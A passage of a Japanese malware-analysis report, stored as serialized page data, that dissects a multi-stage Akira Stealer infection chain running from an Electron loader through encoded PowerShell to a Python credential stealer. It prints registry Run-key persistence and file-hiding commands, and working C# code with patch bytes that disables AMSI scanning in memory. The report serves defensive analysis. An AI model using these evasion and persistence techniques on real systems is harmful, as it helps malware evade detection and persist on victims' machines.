中程度の整合性レベル、ユーザーセッション",[607,971,972,975,976],{},[539,973,974],{},"配置場所",": ",[550,977,978],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[532,980,981],{},"ファイル自体は小さく、きれいにコンパイルされており、静的解析の観点では取り立てて特徴がありませんでした。不審な文字列も、暗号化されたセクションも、難読化やパッキングの痕跡もありません。インポートしているのは最小限の標準Windows API関数だけで、ペイロードは埋め込まれていませんでした。",[532,983,984,985,987,988,990],{},"しかし、その振る舞いのほうが雄弁でした。起動されると ",[550,986,574],{}," は、同梱のアーカイブからElectronアプリケーションを展開しました。標準のElectronツールでパッケージされた、自己完結型のNodeJSランタイムです。展開されたフォルダーには ",[550,989,578],{}," という実行ファイルが含まれ、これが子プロセスとして起動されました。",[588,992,995],{"className":993,"code":994,"language":593,"meta":594},[591],"Updater.exe → main.exe\n",[550,996,994],{"__ignoreMap":594},[532,998,999,1000,1002,1003,1005],{},"この段階ではネットワークの指標も、プロセスインジェクションも、権限やトークン昇格の異常もありませんでした。",[550,1001,574],{}," の役割はすべてローダーとしてのものに見えます。第2段階のコンポーネント（",[550,1004,578],{},"）を環境へ送り込むことであり、その狙いはステルス性とモジュール性の維持だと考えられます。",[532,1007,1008],{},"この種のアーキテクチャ上の分離は、現代のコモディティマルウェアやスティーラーツールキットでは一般的です。初期ローダーは単なる配備用スタブとして働き、より重いロジック（多くは難読化され、インタープリターで実行され、あるいは動的に生成されます）を後続の段階に閉じ込めます。",[532,1010,1011,1012,1014,1015,1017,1018,1020],{},"今回の事案で ",[550,1013,574],{}," はまさにその役目を果たしました。周囲に溶け込み、検出されず、",[550,1016,578],{}," そして最終的に ",[550,1019,585],{}," にある本来のスティーラーロジックの実行への道を整える、静かな最初の足がかりです。",[532,1022,1023],{},"自身のディレクトリを越えてファイルシステムに触れることはなく、振る舞いルールも一切発動させませんでした。それでもこれは、長く周到に構築された攻撃チェーンの最初のドミノでした。",[862,1025,1027,1028,1030],{"id":1026},"_213-mainexe-難読化されたnodejsペイロードコンテナー","2.1.3 ",[550,1029,578],{}," – 難読化されたNodeJSペイロードコンテナー",[532,1032,868],{},[532,1034,1035,1037,1038,1040],{},[550,1036,574],{}," の実行に続いて、",[550,1039,578],{}," という第2段階のバイナリが起動されました。このコンポーネントは標準的なElectronアプリケーションの体裁をとっていました。Node.jsとChromiumを同梱したランタイム環境で、クロスプラットフォームのデスクトップアプリによく使われるものです。その無害さこそが、悪用されたときに危険である理由の一部です。",[532,1042,1043,1044,1046,1047,1050],{},"調べてみると、",[550,1045,578],{}," には ",[550,1048,1049],{},"app.asar"," という内部アーカイブが含まれていました。Electronベースのアプリケーションで標準的に使われるパッケージ形式です。ただし正規のElectronアプリとは違い、このアーカイブの中身はまったく普通ではありませんでした。",[604,1052,1053,1059,1065,1073],{},[607,1054,1055,1058],{},[539,1056,1057],{},"プラットフォーム",": Electron（Node.js + Chromium）",[607,1060,1061,1064],{},[539,1062,1063],{},"アーキテクチャ",": 64ビットWindows",[607,1066,1067,975,1070,1072],{},[539,1068,1069],{},"コンテンツ構造",[550,1071,1049],{}," 内に埋め込まれたJavaScriptファイル",[607,1074,1075,1078,1079,1082],{},[539,1076,1077],{},"難読化レベル",": 高。JavaScript向けの商用難読化ツールキット ",[550,1080,1081],{},"js-confuser"," を使用",[532,1084,1085,1086,1088],{},"逆コンパイルと難読化解除を行うと、",[550,1087,578],{}," の中核ロジックが明らかになりました。その目的はGUIの表示でもフロントエンドロジックの実行でもなく、隠れた実行オーケストレーターとして振る舞うことでした。",[532,1090,1091],{},[539,1092,1093],{},"観測された振る舞い:",[604,1095,1096,1099,1105],{},[607,1097,1098],{},"JavaScriptペイロード内に格納されたBase64エンコード済みのPowerShellコマンドを復号し、再構成する",[607,1100,1101,1104],{},[550,1102,1103],{},"cmd.exe"," を生成し、そのPowerShellコマンドをインラインで実行する",[607,1106,1107,1108,1110,1111,1114],{},"そのPowerShellコマンドが今度は ",[550,1109,552],{}," を呼び出し、一見無害に見えるディレクトリ構造（",[550,1112,1113],{},"Crypto\\Util\\astor.py","）に置かれたスクリプトを渡す",[588,1116,1119],{"className":1117,"code":1118,"language":593,"meta":594},[591],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[550,1120,1118],{"__ignoreMap":594},[532,1122,1123],{},"この連鎖により、攻撃者は実行コンテキストを切り替え、単純な検出を回避できました。ペイロードは難読化され、メモリ上でステージングされていたため、従来のシグネチャベースの対策は効きませんでした。",[532,1125,1126],{},"Electronフレームワークは理想的な隠れみのとなり、精査を避けつつ任意のJavaScriptを実行できるようにしました。JavaScriptベースの実行はクロスプラットフォーム互換性ももたらし、柔軟な配備と動的な制御ロジックの組み込みを容易にしていました。",[532,1128,1129,1131],{},[550,1130,578],{}," を特に危険にしていたのは、すでにステージング済みのもの以外に追加のファイルを一切落とさずに動作できる点です。スティーラースクリプトはディスクから直接呼び出されましたが、ステージングと実行のロジックはすべてElectronバンドル内に埋め込まれたままでした。",[532,1133,1134,1135,1137,1138,1140],{},"まとめると、",[550,1136,578],{}," は難読化された多層の実行コアとして機能し、初期の永続化と ",[550,1139,585],{}," におけるAkira Stealerペイロードの完全な起動との間に立つゲートキーパーの役割を担っていました。",[862,1142,1144,1145,1147],{"id":1143},"_214-cmdexe-とpowershellの中継","2.1.4 ",[550,1146,1103],{}," とPowerShellの中継",[532,1149,868],{},[532,1151,1152],{},"実行チェーンのこの段階は中継役として機能しました。ペイロードのロジックのためではなく、難読化と間接化のためです。",[532,1154,1155,1157,1158,1160,1161,1164],{},[550,1156,578],{}," がペイロードの展開とデコードという役目を終えると、",[550,1159,1103],{}," プロセスを生成しました。このプロセス自体は悪意のあるロジックを持たず、ファイルの書き込みや変更も行いません。唯一の目的は、",[539,1162,1163],{},"エンコードされたコマンド"," を伴うPowerShellセッションを起動するためのラッパーになることでした。",[532,1166,1167],{},"この手法は、可視性を下げて検出を避けるための定番の戦術です。",[604,1169,1170,1182],{},[607,1171,1172,1175,1176],{},[539,1173,1174],{},"実行チェーン",":",[588,1177,1180],{"className":1178,"code":1179,"language":593},[591],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[550,1181,1179],{"__ignoreMap":594},[607,1183,1184,1175,1187],{},[539,1185,1186],{},"目的",[604,1188,1189,1192,1195],{},[607,1190,1191],{},"PowerShellの実行を追加のシェルで包み込む",[607,1193,1194],{},"実際のPowerShellコードがログ上で直接見えないようにする",[607,1196,1197,1198,1201],{},"不審なパラメーターを伴う ",[550,1199,1200],{},"powershell.exe"," の直接実行に反応するEDRを回避する",[532,1203,1204,1205,1207],{},"PowerShellスクリプトをBase64エンコードされた文字列として埋め込み、",[550,1206,1103],{}," 経由で呼び出すことで、攻撃者は複数の検出手段を回避しました。",[604,1209,1210,1215,1220],{},[607,1211,1212],{},[539,1213,1214],{},"コマンドラインのヒューリスティックフィルター",[607,1216,1217],{},[539,1218,1219],{},"標準のログ記録（Event ID 4104、4688など）",[607,1221,1222],{},[539,1223,1224,620,1227,1230,1231,1233],{},[550,1225,1226],{},"-NoProfile",[550,1228,1229],{},"-ExecutionPolicy Bypass","、インラインスクリプトといった ",[550,1232,1200],{}," の引数に対するルールベースの検出",[532,1235,1236,1237,1239,1240,1242],{},"注目すべき点として、このPowerShellコマンドは最小限に保たれ、埋め込まれたスティーラースクリプト ",[550,1238,585],{}," へのパスを指定して ",[550,1241,552],{}," を起動することだけに集中していました。追加のモジュールは読み込まれず、メモリ上に明白なシグネチャも存在しませんでした。",[532,1244,1245],{},"この中継テクニックは、レッドチーミングでも高度な情報窃取型マルウェアでもよく使われます。実装が容易でありながら、テレメトリの相関分析なしでは捕捉しにくい、軽量な回避レイヤーとして機能します。",[532,1247,1011,1248,1250],{},[550,1249,1103],{}," はまさにその役目を果たしました。JavaScriptのロジックとPython実行との間をつなぐ、単純で静かな橋渡しです。それは、あやうく見過ごされるところでした。",[862,1252,1254,1255,1257,1258],{"id":1253},"_215-astorpy-を伴う-pythonexe","2.1.5 ",[550,1256,585],{}," を伴う ",[550,1259,552],{},[532,1261,868],{},[532,1263,1264,1265,1267,1268,1270],{},"実行チェーンの最終段階であり、最も影響の大きい段階は、",[550,1266,552],{}," が ",[550,1269,585],{}," を呼び出したときに訪れました。完全にメモリ上で動作する、Pythonベースのモジュール型情報窃取ツールです。このスクリプトは攻撃チェーン全体の運用上の中核でした。",[532,1272,1273,1274,1276],{},"多くのコモディティスティーラーとは異なり、",[550,1275,585],{}," は平文で配備されていませんでした。多層の復号メカニズムで保護されていたのです。",[604,1278,1279,1289],{},[607,1280,1281,1284,1285,1288],{},[539,1282,1283],{},"復号スタック",": ファイルはまずGZIPで圧縮され、その後 ",[539,1286,1287],{},"AES-256-CBC"," で暗号化されていました。",[607,1290,1291,1294],{},[539,1292,1293],{},"鍵導出",": PBKDF2ベースの鍵導出プロセス（SHA-512、100万回の反復）が使われており、静的解析やブルートフォースは現実的でなくなっていました。",[532,1296,1297],{},"実行時に復号されると、このスクリプトはいくつもの専用モジュールを実行しました。いずれも機微なデータソースを狙うものです。",[532,1299,1300],{},[539,1301,1302],{},"中核となる機能",[604,1304,1305,1311,1321,1331],{},[607,1306,1307,1310],{},[539,1308,1309],{},"ブラウザーデータの抽出",": Chromiumベースのブラウザー（Chrome、Edge、Brave、Opera）からログイン認証情報、Cookie、オートフィルデータを取得",[607,1312,1313,1316,1317,1320],{},[539,1314,1315],{},"トークンの収集",": 特に ",[539,1318,1319],{},"Discord"," からセッショントークンを収集し、暗号資産ウォレットの拡張機能をスキャン",[607,1322,1323,1326,1327,1330],{},[539,1324,1325],{},"データのパッケージング",": 収集したすべてのデータを構造化された ",[539,1328,1329],{},"ZIPアーカイブ"," に集約し、攻撃者側での解析に備えてディレクトリとファイルの文脈を保持",[607,1332,1333,1336],{},[539,1334,1335],{},"持ち出し",": 生成されたアーカイブを公開APIとインフラへアップロード",[532,1338,1339],{},[539,1340,968],{},[532,1342,1343],{},"スティーラーのロジックはすべてメモリ上で実行され、永続的なファイルはディスクに書き込まれませんでした。残るテレメトリの痕跡は、プロセス内のメモリアーティファクトと標準的なサブプロセス呼び出しの程度にとどまります。この段階では永続化の試みは一切行われていません。狙いは、素早く、効率的で、静かなデータ窃取でした。",[532,1345,1346],{},"持ち出しに正規のAPIを使っていたことも、検出と防御を大幅に難しくしました。外向きの通信が日常的なインターネット利用に紛れてしまうからです。",[532,1348,1349,1350,1352],{},"この段階で最終的に、マルウェアの正体が確定しました。",[539,1351,650],{}," の亜種であり、次の特徴で知られています。",[604,1354,1355,1358,1361,1364],{},[607,1356,1357],{},"高いモジュール性",[607,1359,1360],{},"実行時の難読化",[607,1362,1363],{},"Telegram経由での商用配布",[607,1365,1366],{},"認証情報の収集とトークンベースのセッションハイジャックへの強い注力",[532,1368,1369,1370,1372],{},"先行する各段階と合わせて、",[550,1371,585],{}," はステルス性が高く巧妙に設計された情報窃取チェーンの決定的な終端を形成していました。以降のセクションでは、このコンポーネントをさらに分解し、当社がどのようにそのロジックを解析し、インフラをマッピングし、その運用で使われた侵害指標をすべて復元したのかを説明します。",[528,1374,1376,1377],{"id":1375},"_3-ディープダイブ-updaterexe","3. ディープダイブ: ",[550,1378,574],{},[532,1380,534],{},[532,1382,1383,1385],{},[550,1384,574],{}," は、侵害後の分析で最初に観測されたバイナリです。中立的な見た目と、ごくわずかな検出実績しか持たないにもかかわらず、マルウェアの運用上の永続性を維持し、次の段階のペイロードを届けるうえで決定的な役割を果たしていました。",[714,1387,1389],{"id":1388},"_31-プロパティ","3.1 プロパティ",[532,1391,720],{},[1393,1394,1395,1408],"table",{},[1396,1397,1398],"thead",{},[1399,1400,1401,1405],"tr",{},[1402,1403,1404],"th",{},"プロパティ",[1402,1406,1407],{},"値",[1409,1410,1411,1422,1432,1442,1452,1462],"tbody",{},[1399,1412,1413,1419],{},[1414,1415,1416],"td",{},[539,1417,1418],{},"形式:",[1414,1420,1421],{},"Windows Portable Executable (PE32)",[1399,1423,1424,1429],{},[1414,1425,1426],{},[539,1427,1428],{},"アーキテクチャ:",[1414,1430,1431],{},"x86-64",[1399,1433,1434,1439],{},[1414,1435,1436],{},[539,1437,1438],{},"サイズ:",[1414,1440,1441],{},"約154 KB",[1399,1443,1444,1449],{},[1414,1445,1446],{},[539,1447,1448],{},"エントロピー:",[1414,1450,1451],{},"通常（非パック）",[1399,1453,1454,1459],{},[1414,1455,1456],{},[539,1457,1458],{},"署名:",[1414,1460,1461],{},"なし",[1399,1463,1464,1469],{},[1414,1465,1466],{},[539,1467,1468],{},"VirusTotalの検出:",[1414,1470,1471],{},"分析時点で1/69",[532,1473,1474],{},"このファイルはインポートテーブルがきれいで、埋め込み文字列の指標もありませんでした。既知のパッカー、クリプター、実行時難読化のメカニズムは検出されていません。構造はカスタムコンパイルされたバイナリと整合していました。",[714,1476,1478],{"id":1477},"_32-振る舞いの分析","3.2 振る舞いの分析",[532,1480,720],{},[532,1482,1483],{},[539,1484,1485],{},"ユーザー操作は不要",[532,1487,1488,1489,1491],{},"このマルウェアチェーンは、ユーザーの操作を一切必要とせずに実行されました。Defenderのプロセステレメトリによれば、初期バイナリ（",[550,1490,574],{},"）は自動的に起動されており、レジストリの自動実行キーのような永続化メカニズムによるものと考えられます。ただし侵害からの経過期間と過去のイベントログの欠落により、永続化の正確な手法は復元できませんでした。",[532,1493,1494],{},[539,1495,1496],{},"サイレントな実行とステージング",[532,1498,1499,1500,1502,1503,1505],{},"実行されると ",[550,1501,574],{}," は、ウィンドウもユーザーへの確認も表示せずに直ちに ",[550,1504,578],{}," を起動しました。ステージングはバックグラウンドで静かに進行しました。ユーザーの同意ダイアログ、UACプロンプト、GUIコンポーネントの痕跡はありません。",[532,1507,1508],{},[539,1509,1510],{},"ペイロード配備の振る舞い",[532,1512,1513,1515],{},[550,1514,578],{}," はElectronアプリケーション構造の一部であることが分かりましたが、その配備の正確な出所は不明のままです。次のいずれかであると想定されます。",[604,1517,1518,1524],{},[607,1519,1520,1521,1523],{},"ペイロードが ",[550,1522,574],{}," の内部に同梱されていた（埋め込みリソースなど）、または",[607,1525,1526],{},"リモートの配布元から取得された",[532,1528,1529],{},"ネットワークテレメトリが存在せず、ハードコードされたURLも復元できなかったため、Electronアプリの配布経路は確定できませんでした。",[532,1531,1532],{},[539,1533,1534],{},"プロセスチェーンの振る舞い",[532,1536,1499,1537,1539,1540,1542],{},[550,1538,574],{}," は ",[550,1541,578],{}," を子プロセスとして生成しました。呼び出しは非対話的で、チェーンから生成されたプロセスはいずれもUIの動作を示しませんでした。プロセスチェーンは想定どおりに続きました。",[588,1544,1547],{"className":1545,"code":1546,"language":593},[591],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[550,1548,1546],{"__ignoreMap":594},[532,1550,1551],{},"すべての実行段階はユーザー入力を必要とせず、事前に設定された起動ロジックとサイレントな実行パスだけに依存していました。これにより露出が最小限に抑えられ、マルウェアは長期間にわたって検出されずに済んだのです。",[714,1553,1555],{"id":1554},"_33-感染チェーンにおける役割","3.3 感染チェーンにおける役割",[532,1557,720],{},[532,1559,1560,1562,1563,1566,1567,1569],{},[550,1561,574],{}," は、より広い感染チェーンの中で ",[539,1564,1565],{},"単一ではあるが不可欠な役割"," を果たしていました。第2段階のコンポーネント ",[550,1568,578],{}," の永続化と再配備です。",[532,1571,1572],{},[539,1573,1574],{},"確認された特性",[604,1576,1577,1583,1588],{},[607,1578,1579,1580],{},"悪意のあるロジックを直接含んでも実行しても ",[539,1581,1582],{},"いませんでした",[607,1584,1585,1586],{},"データの持ち出しは一切行って ",[539,1587,1582],{},[607,1589,1590,1591],{},"ブラウザーの認証情報ストアや機微なユーザーデータには触れて ",[539,1592,1582],{},[532,1594,1595,1596,1598],{},"その唯一の目的は、ユーザーのログオン時に ",[550,1597,578],{}," を静かに起動することでした。永続化の手法としてはレジストリの自動実行エントリが最も有力です（テレメトリの制約から直接の復元はできていません）。",[532,1600,1601,1602,1604,1605,1607],{},"独立した第1段階のローダーとして振る舞うことで、",[550,1603,574],{}," は本来のスティーラーペイロード（",[550,1606,585],{},"）を実行のより深い層に隠し続けました。この責務の分離により、攻撃者は次のことが可能になりました。",[604,1609,1610,1613,1616],{},[607,1611,1612],{},"静的なAVやサンドボックスによる相関付けを避ける",[607,1614,1615],{},"ローダーを変更せずにペイロードを差し替えたり更新したりする",[607,1617,1618],{},"侵入口における振る舞いのシグナルを減らす",[532,1620,1621,1622,1625],{},"このパターンは ",[539,1623,1624],{},"マルウェア・アズ・ア・サービス（MaaS）"," の運用に典型的で、配布メカニズムは汎用的に、ペイロードはモジュール式または顧客ごとに用意されます。",[532,1627,1011,1628,1630],{},[550,1629,574],{}," は、信頼できるステルスな侵入口として機能するのにちょうど足りるだけのロジックを提供していました。それ以上でも、それ以下でもありません。",[714,1632,1634],{"id":1633},"_34-レジストリによる永続化astorpyで確認","3.4 レジストリによる永続化（astor.pyで確認）",[532,1636,720],{},[532,1638,1639,1640,1642],{},"Pythonペイロードの静的解析から、",[550,1641,574],{}," がレジストリの自動実行エントリによって明示的に永続化されていることが分かりました。",[604,1644,1645,1653,1661],{},[607,1646,1647,975,1650],{},[539,1648,1649],{},"レジストリパス",[550,1651,1652],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[607,1654,1655,975,1658],{},[539,1656,1657],{},"値の名前",[550,1659,1660],{},"Realtek Audio",[607,1662,1663,975,1666],{},[539,1664,1665],{},"ペイロードのパス",[550,1667,1668],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[532,1670,1671],{},"対応するレジストリコマンドはPowerShell経由で実行されます。",[588,1673,1677],{"className":1674,"code":1675,"language":1676,"meta":594,"style":594},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[550,1678,1679],{"__ignoreMap":594},[1680,1681,1684],"span",{"class":1682,"line":1683},"line",1,[1680,1685,1675],{},[532,1687,1688],{},"これにより、ユーザーがログオンするたびにマルウェアが起動されます。さらに検出を避けるため、ファイルには隠しファイル属性とシステム属性が付与されます。",[588,1690,1692],{"className":1674,"code":1691,"language":1676,"meta":594,"style":594},"attrib +h +s \"Updater.exe\"\n",[550,1693,1694],{"__ignoreMap":594},[1680,1695,1696],{"class":1682,"line":1683},[1680,1697,1691],{},[532,1699,1700],{},"この永続化メカニズムはastor.pyのコードに直接埋め込まれており、最終段階のスティーラーがディスク上とスタートアップレジストリの両方でローダーの存在を能動的に維持していることを裏付けています。",[714,1702,1704],{"id":1703},"_35-まとめ","3.5 まとめ",[532,1706,720],{},[821,1708,1709],{},[532,1710,1711,1713],{},[550,1712,574],{}," は構造や内容の面で本質的に悪意があるわけではありませんでしたが、実行チェーンの中での文脈的な振る舞いが、マルウェアローダーとしての役割を裏付けました。",[827,1715],{"className":1716},[830],[532,1718,1719],{},"このバイナリは、クリーンでミニマルな第1段階のランチャーとして機能し、静的解析、AVエンジン、振る舞いルールによる検出を避けていました。その設計は悪意あるロジックの実行そのものではなく、ステルス性と運用上の支援だけに焦点を当てています。",[532,1721,1722,1723,1725,1726,1728,1729,1732],{},"しかし、その役割は初期配備にとどまりませんでした。",[550,1724,585],{}," ペイロードのリバースエンジニアリングの過程で、",[550,1727,574],{}," の存在を能動的に確認するロジックを特定しました。このチェックは、スティーラーのコード内に実装されたより広い ",[539,1730,1731],{},"ヘルスチェックと自己修復のサイクル"," の一部であり、感染チェーンの完全性を検証し、欠けたコンポーネントを必要に応じて復元するためのメカニズムでした。",[532,1734,1735,1736,1738,1739,1742],{},"つまり ",[550,1737,574],{}," は、マルウェアを起動する役目を担うだけでなく、",[539,1740,1741],{},"継続的なランタイム検証"," の一部も構成していたということです。このスタブがなければ、マルウェアは以後のセッションで再初期化する能力を失いかねませんでした。",[532,1744,1745],{},[539,1746,1747,1749],{},[550,1748,574],{}," の主な機能:",[604,1751,1752,1757,1762,1765],{},[607,1753,1754,1756],{},[550,1755,578],{}," のシームレスな配備",[607,1758,1759,1761],{},[550,1760,585],{}," の間接的な実行",[607,1763,1764],{},"ローダーとペイロードのロジックの分離",[607,1766,1767,1768],{},"運用上のヘルス監視の一部として ",[539,1769,1770],{},"ペイロード自身から参照される",[532,1772,1773],{},"セクション5では、自己修復の振る舞いと完全性検証のメカニズムを含め、スティーラーの内部ヘルスチェックルーチンを詳しく扱います。",[532,1775,1776,1777,1779],{},"現時点で明らかなのは、",[550,1778,574],{}," がこの多層の情報窃取アーキテクチャにおいて、点火装置であると同時に錨でもあったということです。",[714,1781,1783],{"id":1782},"_36-抽出のトリック-ローダーの裏をかく","3.6 抽出のトリック: ローダーの裏をかく",[532,1785,720],{},[532,1787,1788],{},"リバースエンジニアリングで最良の結果が得られるのは、必ずしも深いバイナリ逆アセンブルからとは限りません。ちょっとした仕掛けと忍耐から得られることもあります。",[532,1790,1791,1792,1794,1795,1797],{},"管理されたラボ環境で感染を分析していたとき、奇妙なことに気づきました。",[550,1793,574],{}," は存在して実行されているのに、",[550,1796,578],{}," がファイルシステムから消えていたのです。そこで思いつきました。マルウェアに自分自身を修復させたらどうなるだろう、と。",[532,1799,1800,1802,1803,1808],{},[550,1801,574],{}," はそのままに、感染環境から ",[539,1804,1805,1807],{},[550,1806,578],{}," を意図的に削除"," しました。すると案の定、次のユーザーセッションのログオン後、ローダーが動き出しました。癇癪を起こすでもなく、静かに第2段階を再構築しようとしたのです。",[532,1810,1811,1812,1539,1814,1816,1817,1820,1821,1824,1825,620,1827,1830,1831,1833],{},"ここからが興味深いところです。",[550,1813,574],{},[550,1815,578],{}," を直接作り直すのではなく、まず ",[550,1818,1819],{},"app-64.7z"," というファイルをドロップしました。標準的な ",[539,1822,1823],{},"7-Zipアーカイブ"," です。このアーカイブには、",[550,1826,578],{},[550,1828,1829],{},"resources","、そして埋め込まれたロジックをすべて含む ",[550,1832,1049],{}," ペイロードなど、Electronアプリケーションの完全な構造が入っていました。",[532,1835,1836,1837,1840],{},"私たちは事実上、",[539,1838,1839],{},"マルウェアにソースパッケージを差し出させた"," わけです。",[532,1842,1843],{},[748,1844],{"alt":1845,"src":1846},"Suspicious Updater Executable Detected","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[532,1848,1849],{},"この7zアーカイブを手にしたことで、元のローダーに再び触れることなく、JavaScriptベースのオーケストレーションロジックを抽出し、展開し、完全に解析できました。アーカイブの構造は、想定されるElectronアプリのレイアウトと完全に一致していました。",[532,1851,1852,1853,1856],{},"この振る舞いは、攻撃者が ",[539,1854,1855],{},"モジュール式で保守しやすいアーキテクチャ"," を意図的に選び、アーカイブを柔軟なペイロードコンテナーとして使っていたことを強く示唆します。ローダーのバイナリを再コンパイルせずに、ペイロードのコンポーネントを差し替えたり更新したりできるようにもなっていました。",[532,1858,1859],{},"そして当社の場合はどうだったか。彼らのチェーンの裏をかき、ドロップを傍受し、パッケージ一式を持ち帰ることができました。職人が見ていない隙に作業台から設計図を持ち出すようなものです。",[532,1861,1862,1863,1870],{},"こう言ってもいいでしょう。",[539,1864,1865,1866,1869],{},"最良のフォレンジックツールは ",[550,1867,1868],{},"del"," と待つことと、ほんの少しの好奇心である場合もある"," のです。",[528,1872,1874,1875],{"id":1873},"_4-ディープダイブ-powbat","4. ディープダイブ: ",[550,1876,1877],{},"pow.bat",[532,1879,534],{},[532,1881,1882,1883,1886],{},"分析対象のマルウェアキャンペーンにおいて、",[550,1884,1885],{},"Invoke-SharpLoader"," というコンポーネントは、きわめてモジュール性が高く回避的な実行フローを示す、カスタムのメモリ常駐型.NETローダーとして機能します。このセクションでは、その内部アーキテクチャ、AMSIパッチによるアンチ解析戦略、そして第2段階ペイロードを可能にする役割を分解します。",[714,1888,1890],{"id":1889},"_41-バイナリのプロパティ-sharploaderのバッチラッパー","4.1 バイナリのプロパティ – SharpLoaderのバッチラッパー",[532,1892,720],{},[532,1894,1895,1896,1898],{},".NETペイロードをメモリ上で読み込むために実行される前の時点で、外側のラッパー ",[550,1897,1877],{}," は静的解析上、次の特徴を示します。",[1393,1900,1901,1909],{},[1396,1902,1903],{},[1399,1904,1905,1907],{},[1402,1906,1404],{},[1402,1908,1407],{},[1409,1910,1911,1920,1929,1939,1948,1958,1968,1977],{},[1399,1912,1913,1917],{},[1414,1914,1915],{},[539,1916,1418],{},[1414,1918,1919],{},"DOSバッチファイル",[1399,1921,1922,1926],{},[1414,1923,1924],{},[539,1925,1428],{},[1414,1927,1928],{},"スクリプトベース（コンパイル済みバイナリではない）",[1399,1930,1931,1936],{},[1414,1932,1933],{},[539,1934,1935],{},"ファイルサイズ:",[1414,1937,1938],{},"27.79 KB（28454バイト）",[1399,1940,1941,1945],{},[1414,1942,1943],{},[539,1944,1448],{},[1414,1946,1947],{},"通常（プレーンASCIIテキスト）",[1399,1949,1950,1955],{},[1414,1951,1952],{},[539,1953,1954],{},"マジック:",[1414,1956,1957],{},"DOSバッチファイル、ASCIIテキスト",[1399,1959,1960,1965],{},[1414,1961,1962],{},[539,1963,1964],{},"電子署名:",[1414,1966,1967],{},"検出されず",[1399,1969,1970,1974],{},[1414,1971,1972],{},[539,1973,1468],{},[1414,1975,1976],{},"26 / 61（分析時点）",[1399,1978,1979,1984],{},[1414,1980,1981],{},[539,1982,1983],{},"脅威ラベル:",[1414,1985,1986,1989,1990,1989,1993,1989,1995],{},[550,1987,1988],{},"trojan",", ",[550,1991,1992],{},"downloader",[550,1994,1676],{},[550,1996,1997],{},"agentb",[532,1999,2000,2001,2004],{},"単純な ",[550,2002,2003],{},".bat"," ファイルでありながら、このスクリプトは多くの静的検出をすり抜け、難読化・暗号化されたペイロードのダウンロードと実行に、PowerShellのような環境寄生（living-off-the-land）の手法を多用しています。",[714,2006,2008,2009,2012],{"id":2007},"_42-amsiバイパスの手法クラス-gofor4msi","4.2 AMSIバイパスの手法（クラス: ",[550,2010,2011],{},"gofor4msi","）",[532,2014,720],{},[532,2016,2017],{},"SharpLoaderが最初に回避する防御メカニズムの1つがAMSI（Anti-Malware Scan Interface）です。PowerShellやWindows Script Hostといったスクリプトエンジンに統合され、不審な振る舞いに対するリアルタイムのコンテンツスキャンを提供するMicrosoftの機能です。マルウェアの作者は、エンドポイント保護製品による検出を避けるためにAMSIの回避をしばしば試みます。",[532,2019,2020,2021,2024,2025,2028,2029,2032,2033,2036,2037,2040],{},"SharpLoaderでは、AMSIバイパスは ",[550,2022,2023],{},"amsi.dll"," 内の ",[550,2026,2027],{},"AmsiScanBuffer"," 関数に対する ",[539,2030,2031],{},"メモリ上での直接パッチ"," によって実装されています。この関数は本来、スクリプトの内容を解析し、それが不審（",[550,2034,2035],{},"AMSI_RESULT_DETECTED","）か安全（",[550,2038,2039],{},"AMSI_RESULT_CLEAN","）かを示す結果コードを返す役割を担います。",[532,2042,2043],{},"該当するメモリパッチのコードは次のとおりです。",[588,2045,2049],{"className":2046,"code":2047,"language":2048,"meta":594,"style":594},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[550,2050,2051,2056,2062,2068],{"__ignoreMap":594},[1680,2052,2053],{"class":1682,"line":1683},[1680,2054,2055],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1680,2057,2059],{"class":1682,"line":2058},2,[1680,2060,2061],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1680,2063,2065],{"class":1682,"line":2064},3,[1680,2066,2067],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1680,2069,2071],{"class":1682,"line":2070},4,[1680,2072,2073],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[532,2075,2076],{},"この一連の処理は次のステップを実行します。",[2078,2079,2080,2090,2102,2112],"ol",{},[607,2081,2082,2085,2086,2089],{},[550,2083,2084],{},"LoadLibrary(\"amsi.dll\")"," を使って ",[539,2087,2088],{},"AMSI DLLをプロセスに読み込む","。",[607,2091,2092,2095,2096,2098,2099,2089],{},[550,2093,2094],{},"GetProcAddress()"," を介して ",[550,2097,2027],{}," 関数の ",[539,2100,2101],{},"メモリアドレスを解決する",[607,2103,2104,2107,2108,2111],{},[550,2105,2106],{},"VirtualProtect()"," を使ってそのアドレスの ",[539,2109,2110],{},"メモリ保護属性を変更"," し、書き込み可能にする。",[607,2113,2114,2117,2118,2121],{},[550,2115,2116],{},"Marshal.Copy()"," で ",[539,2119,2120],{},"関数の先頭を上書き"," し、小さなシェルコードパッチを当てる。",[532,2123,2124],{},"64ビットシステムに適用されるパッチは次のとおりです。",[588,2126,2128],{"className":2046,"code":2127,"language":2048,"meta":594,"style":594},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[550,2129,2130],{"__ignoreMap":594},[1680,2131,2132],{"class":1682,"line":1683},[1680,2133,2127],{},[532,2135,2136],{},"これは次の命令に対応します。",[604,2138,2139,2149],{},[607,2140,2141,2144,2145,2148],{},[550,2142,2143],{},"mov eax, 0x80070057"," → 戻り値コードをWindowsのエラーコード ",[550,2146,2147],{},"E_INVALIDARG"," に設定する",[607,2150,2151,2154],{},[550,2152,2153],{},"ret"," → 関数から直ちに復帰する",[532,2156,2157,2158,2160],{},"これにより 